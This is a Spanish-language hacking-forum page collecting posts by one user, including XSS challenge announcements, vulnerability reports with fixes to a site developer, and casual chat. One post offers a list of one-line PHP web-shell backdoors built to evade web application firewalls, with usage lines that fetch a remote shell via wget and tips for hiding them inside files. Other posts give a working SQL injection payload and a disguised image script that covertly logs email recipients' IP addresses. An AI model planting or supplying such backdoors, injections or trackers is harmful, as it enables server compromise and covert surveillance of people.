Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - Nobody

#1
Vuln 1. Execution After Redirect

La red social es vulnerable a EAR, que consta de seguir ejecutando el código de la página luego de una verificación, ejemplo:

Código: php
<?php

$_SESSION['username'] = "user";

if ($_SESSION['username'] !== "admin")
{
header("Location: index.php");
}

echo "Priv8 zone!";

?>


La solución es colocar un exit(); debajo del header location.

Vuln 2. Input Validation

Por lo que vi, las imágenes subidas a las publicaciones se guardan como USERIDnombre_de_la_foto.ext.
Por ejemplo, user id = 1, foto = cat.jpg, resultado = 1cat.jpg
Si yo subo una foto de un gato con el nombre "cat.jpg", y luego, en otra publicación subo una foto de un perro con el mismo nombre (cat.jpg), se sobrescribe la foto anterior.
La solución sería usar algún tipo de ID único, como la función uniqid() de PHP.

Vuln 3. Insecure Direct Object Reference
Es posible "auto aceptarse" la solicitud de amistad (Gracias Bartz por aceptarme como amigo ;D ;D)

1. Enviar petición de amistad (GET /socialc0de/perfil.php?CodUsua=ID&&agregar=ID).
2. Enviar la siguiente petición GET: GET /socialc0de/solicitud.php?env=TUID&&rec=ID&&accion=1

Vuln 4. Input Validation
Es posible agregarse a uno mismo como amigo. Mismo procedimiento que la vuln 3.
GET /socialc0de/perfil.php?CodUsua=TUID&&agregar=TUID

Así mismo, es posible recibir varias solicitudes de amistad de una misma persona (y al aceptarla, aumentar el número de amigos).

Vuln 5. Input Validation
Al registrarse, verifica correctamente si se utiliza un nombre de usuario ya existencia, pero esto no sucede al editar el perfil, pues puedo utilizar usuarios ya registrados (en este caso utilicé el tuyo), bloqueando la cuenta "duplicada", pues, es imposible loguearse.

P.S.: Deberías agregar un captcha al registro, para evitar spambots que creen miles de cuentas a la vez.
POST /socialc0de/registro.php
nombre=&usuario=&contra=&pais=&profesion=&edad=10&registrar=Registrar
Saludos.
#2
¡Hola!

No indagué mucho, pero al principio parecía vulnerable a Arbitrary File Download, aunque no logro bypassear el filtro.
De todas formas, conseguí un FPD generando un error a la hora de utilizar el archivo "dl.php" provisto por ellos.
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
FPD: C:\xampp\htdocs\miros\1\dl.php

Saludos.
#3
Gracias @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta y @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

@No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, si, puedes. No es necesario dar créditos!
Saludos.
#4
¡Hola!
Muchas gracias por la información. ¿Podrías especificar la fuente de la misma?

Saludos,
Nobody.
#5
¡Hola Drok3r!

Excelente XSS, pero te comento que la web también es vulnerable a SQLi, por si no lo has notado.

Payload: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta' union select 1,version(),3,4,5,6,7,8,9,10,11 -- -

¡Saludos!
#6
¡Hola a todos! ¿Cómo les va?

Estoy al tanto de la creciente necesidad de backdoors fáciles de camuflar y con capacidades para evadir Web Application Firewalls —WAF, de ahora en más—. Por lo cual, mediante esta publicación, les ofrezco una lista de backdoors de tan solo una línea, capaces de evadir WAF.

Advertencia: En esta lista no incluiré funciones obsoletas a partir de PHP 7.2.
Referencia: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

1. copy() - Requiere: allow_url_fopen. (nunca antes la vi, se me ocurrió recientemente)
Código: php
<?php copy($_GET['s'], $_GET['d']);

Citar
¿CÓMO UTILIZAR?
file.php?s=No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

2. include() - Requiere: allow_url_fopen.
Código: php
<?php include($_GET['x']);

Citar
¿CÓMO UTILIZAR?
file.php?x=No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Advertencia: Obtuve mejores resultados utilizando un servidor HTTP sin PHP, por ejemplo, en Python.

3. popen() - DETECTADA POR No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.
Código: php
<?php echo fread(popen($_GET['c'],'r'),1024*4);

Citar
¿CÓMO UTILIZAR?
file.php?c=wget -O shell.php No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Advertencia: Aún siendo detectada, es mi favorita y funciona excelente.

4. file_put_contents()
Código: php
<?php file_put_contents('_c.php','<?php '.$_GET['c'].' ?>'); include '_c.php'; unlink("_c.php");

Citar
¿CÓMO UTILIZAR?
file.php?c=system('wget -O shell.php No tienes permitido ver los links. Registrarse o Entrar a mi cuenta');
Advertencia: unlink() es opcional, pues yo lo uso para no dejar un archivo con el código ejecutado.

SUGERENCIAS
Citar
1. Se puede anteponer @ en alguna función, para así evitar imprimir los errores de la misma. Esto es útil a la hora de esconder el backdoor dentro de un archivo.
2. Se puede reemplazar $_GET por $_REQUEST, así aceptando GET, POST y COOKIE como métodos de entrada.
3. Se puede utilizar isset() y __halt_compiler() para obtener una salida más limpia a la hora de esconder el backdoor dentro de un archivo.
Citar<?php if(isset($_GET['c']))echo fread(popen($_GET['c'],'r'),1024*4); __halt_compiler();
4. El tag de cierre de PHP no es necesario en un archivo que solo contenga código. Así mismo, se puede utilizar short tags, si éstos están habilitados.

Pues nada más... En realidad, es un post sencillito, pero seguramente a alguien le será útil  :)

Salutes,
Nobody.
#7
Mí relación anterior fue como un symlink a un archivo inexistente. Estaba allí, pero no llevaba a nada...
#8
Wargames y retos / Re:Reto XSS #1 [Fácil]
Mayo 16, 2018, 11:28:12 PM
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Fuck ! Funciona solo con ese color ? Porque te juro que probé ese payload pero en otro color  >:(
Gracias Por la solución, ya me pongo a intentar con el proximo que subiste !

No, funcionaria con cualquier color, ese mismo lo usé de ejemplo.

Saludos.
#9
Wargames y retos / Re:Reto XSS #1 [Fácil]
Mayo 16, 2018, 12:22:46 AM
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
y la solucion para el 2040...

¡Hola!
El código fuente, con su respectivo payload funcional se encuentran al final del post.

Saludos.
#10
Wargames y retos / Reto XSS #2 [Fácil/medio]
Mayo 01, 2018, 02:03:45 PM
¡Hola nuevamente!

Continuando con los wargames sobre XSS, aquí va el segundo reto XSS, con un nivel que oscila entre fácil y medio.

Historia
El administrador de sistemas se dio cuenta del error que había cometido filtrando XSS en el código anterior, así que decidió intentar corregirlo por si mismo, en vez de llamar a un experto. Después de leer cientos de tutoriales de PHP, logró editar el filtro anti XSS.

URL: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
¡Soy curioso! ¿Podrían enviarme un MP con los payloads que hayan utilizado?

Spoiler (pequeña ayuda): (En mi payload uso cookies para completar el reto, tal vez podrías hacer lo mismo ;)).
#11
Wargames y retos / Re:Reto XSS #1 [Fácil]
Abril 30, 2018, 09:03:01 AM
¡Enhorabuena a los que lo resolvieron!
Esperaré algunas soluciones más para liberar el código y posteriormente publicar la segunda versión de éste reto.

Saludos!
#12
Wargames y retos / Re:Reto XSS #1 [Fácil]
Abril 25, 2018, 11:31:09 PM
Como información extra a la que nuestro amigo Rollth nos dio, quiero decir que nunca confíen en la información que dan los navegadores, tal vez agregan o remueven ciertos caracteres... wget es mejor ;)

Saludos.
#13
Wargames y retos / Re:Reto XSS #1 [Fácil]
Abril 10, 2018, 08:11:50 PM
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Hola Nobody,
Efectivamente ya lo han bajado

¡Hola Gn0m3!
Gracias por avisar, ya actualicé el link.
#14
Wargames y retos / Reto XSS #1 [Fácil]
Abril 08, 2018, 06:20:17 PM
¡Hola a todos!
Hace mucho que no me pasaba por acá, ¿cómo están?

Sencillamente, hablando sobre CTF con un colega que pertenece a éste foro, se me ocurrió hacer un reto sencillito de XSS...
Bueno, en realidad él me pidió si podía hacer un reto CTF y no sé porqué terminé haciendo esto.

No doy más vueltas.
URL: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

¡Eh! Estoy probando ese hosting gratuito (qué va, tenía que subirlo a algún lado), así que no me sorprendería que en un par de días lo cierren. Si ésto sucede, lo volveré a subir.

Por si las moscas, cuando un par de personas lo resuelvan, publicaré el sencillo código.

EDITO:
Aquí va el código fuente de este sencillo reto, para los que ya lo resolvieron o tienen problemas para hacerlo.
Por favor, no veas el código antes de intentar resolver el reto, perdería la gracia totalmente.
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Saludos.
#15
¡Sencillamente excelente!
Creo que es el primer análisis sobre este tipo de propagación que veo.

Gracias por el aporte, Rolo.

Saludos.
#16
Diseño UX/UI / Un pequeño wallpaper.
Enero 30, 2018, 04:35:09 PM
¡Hola gente!, ¿cómo están?

Hace tiempo que no me pasaba por estos lados, ha cambiado todo, parece.
En fin, estaba haciendo un pequeño wallpaper de Underc0de y me pareció una excelente idea compartirlo con ustedes.


(5000x2813 px)
Enlace directo: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Acepto opiniones y criticas  ;D ;D

¡Nos vemos!
#17
Hacking / Re:Obtener IP de un correo.
Enero 25, 2018, 02:53:57 PM
¡Hola!

Gran aporte, Rolo. Se me ocurrió que se podría mejorar un poquito, la técnica como el código.

Modifiqué el código para funcionar con cualquier tipo de archivo (por el mimetype). La función getMimeType la hice para la compatibilidad entre versiones de PHP.

Código: php
<?php
// write data
date_default_timezone_set('UTC');
$info = sprintf("Date: %s\nIP: %s\nUser Agent: %s\n", date('Y-m-d H:i:s'), $_SERVER['REMOTE_ADDR'], $_SERVER['HTTP_USER_AGENT']);
$file = fopen("data.txt", "a");
fwrite($file, $info);
fclose($file);

// fake img
$fname = basename('image.png');
$img = file_get_contents($fname);
header('Content-type: ' . getMimeType($fname));
header('Content-Length: ' . strlen($img));
echo $img;

// functions
function getMimeType($filename)
{
if (/*extension_loaded("fileinfo")*/ function_exists('finfo_file'))
return finfo_file(finfo_open(FILEINFO_MIME_TYPE), $filename);
else if (function_exists('mime_content_type'))
return mime_content_type($filename);
else
{
// only images
$idx = strtolower(substr(strrchr($filename, "."), 1));
$mime = array(
'gif' => 'image/gif',
'ico' => 'image/x-icon',
'jpeg' => 'image/jpeg',
'jpg' => 'image/jpeg',
'png' => 'image/png'
);

if (isset($mime[$idx]))
return $mime[$idx];
else return 'application/octet-stream';
}
}
?>


Y para esconder un poquito más la extensión .php en el tag img, se puede usar un .htaccess.

Código: text
# Prevent viewing of htaccess and htpasswd files.
<Files .htaccess>
    order allow,deny
    deny from all
</Files>

# Prevent directory listings.
Options All -Indexes

# Hide .php in image.
Options +FollowSymlinks
RewriteEngine on
RewriteRule ^(.*)\.jpg$ $1.php [nc]
RewriteRule ^(.*)\.jpeg$ $1.php [nc]
RewriteRule ^(.*)\.tiff$ $1.php [nc]
RewriteRule ^(.*)\.gif$ $1.php [nc]
RewriteRule ^(.*)\.bmp$ $1.php [nc]
RewriteRule ^(.*)\.png$ $1.php [nc]


Con este ejemplo, se podría usar una extensión de imagen falsa, apuntando al PHP.
Código: html5
<img src="https://www.hack.er/image.png />


Saludos.
P.D.: Volví (?  ;D ;D
#18
Underc0de / Re:Desafío #7 - Viernes Negro
Junio 02, 2017, 02:20:27 PM
Entretenido  :D
148ba2d2361930cbeef48548969b04602c6edfe2

Saludos.
#19
¡Hola!

¿Alguna vez probaron "Delorean" para hacer ataques a NTP? Tal vez funcionaría.
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Saludos.
#20
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Me llenaste de intriga, cuentanos un poco de esa vida pasada y oscura.. y claro, tu nick anterior.

Gracias por leer!

Creo que no sería inteligente de mi parte mencionar mi nick anterior, por algo lo cambié :P
Esa vida pasada y oscura, que te llenó de intriga, es una historia corta, que en una palabra se resumen varios años de mi vida. La palabra que decidí usar fue "infancia".

Para resumir lo más posible, en la antigüedad me dedicaba a programar "pequeñas ayudas" para un juego multijugador en específico, a lo cual conocí a mucha gente que también se dedicaba a lo mismo. Por alguna extraña razón (realmente no), no logré llevarme bien con esa gente, y decidí abandonar esa vida para poder empezar de cero.

Saludos.